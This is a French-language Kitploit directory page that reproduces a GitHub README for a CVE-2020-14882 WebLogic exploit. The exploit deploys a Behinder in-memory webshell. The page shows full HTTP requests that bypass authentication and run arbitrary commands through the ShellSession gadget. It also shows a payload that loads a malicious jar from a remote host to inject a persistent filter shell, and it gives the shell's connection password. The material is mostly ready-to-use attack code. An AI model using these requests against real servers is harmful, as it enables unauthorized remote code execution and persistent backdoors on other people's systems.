Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-14882 — CVE-2020-14882 : déploiement du webshell en mémoire 冰蝎 | Kitploit
Outils/GitHubGitHub/kk98kk0/cve-2020-14882
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubkk98kk0/cve-2020-14882

CVE-2020-14882

CVE-2020-14882 : déploiement du webshell en mémoire 冰蝎

Voir le dépôt
32il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Déploiement d'un memory shell Behinder via CVE-2020-14882

Comme on le sait, CVE-2020-14882 est une vulnérabilité d'accès non autorisé qui permet à un attaquant d'exécuter du code arbitraire sur un serveur WebLogic affecté. Les PoC publics en ligne contournent l'accès à l'aide de caractères illégaux, puis invoquent l'exécution de commandes via un gadget. Cependant, dans les scénarios réels comme lors d'attaques Red Team, exécuter des commandes ne suffit pas. Savoir comment exploiter davantage cette vulnérabilité d'accès non autorisé pour déployer un memory shell devient alors crucial.

Les articles analysant cette vulnérabilité abondent en ligne ; en résumé, il s'agit d'un problème de double encodage. Voyons directement le PoC d'exécution rendu public :

root@kitploit:~
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

Actuellement, seuls WebLogic 12.2.1 et versions supérieures permettent d'obtenir un retour de sortie, car cette classe n'existe pas dans la 10.3.6. On constate que cette version exécute du code arbitraire via le gadget com.tangosol.coherence.mvel2.sh.ShellSession. On peut donc utiliser java.net.URLClassLoader pour charger une classe malveillante et ainsi injecter un memory shell. URLClassLoader est une classe d'implémentation de ClassLoader ; elle peut charger des classes binaires aussi bien localement qu'à distance.

Memory shell Behinder pour WebLogic image.png Packager pour générer le jar image.png Ensuite, via le gadget com.tangosol.coherence.mvel2.sh.ShellSession, on invoque URLClassLoader pour charger la classe à distance. Voici le code :

root@kitploit:~
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");

Exploit complet

root@kitploit:~
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0


image.png image.png Le mot de passe de connexion Behinder est : rebeyond

image.png

Remarque : la version par défaut de Behinder ne prend pas en charge les memory shells.

Références :

https://xz.aliyun.com/t/8202

https://www.cnblogs.com/potatsoSec/p/13895120.html

Télécharger l’outil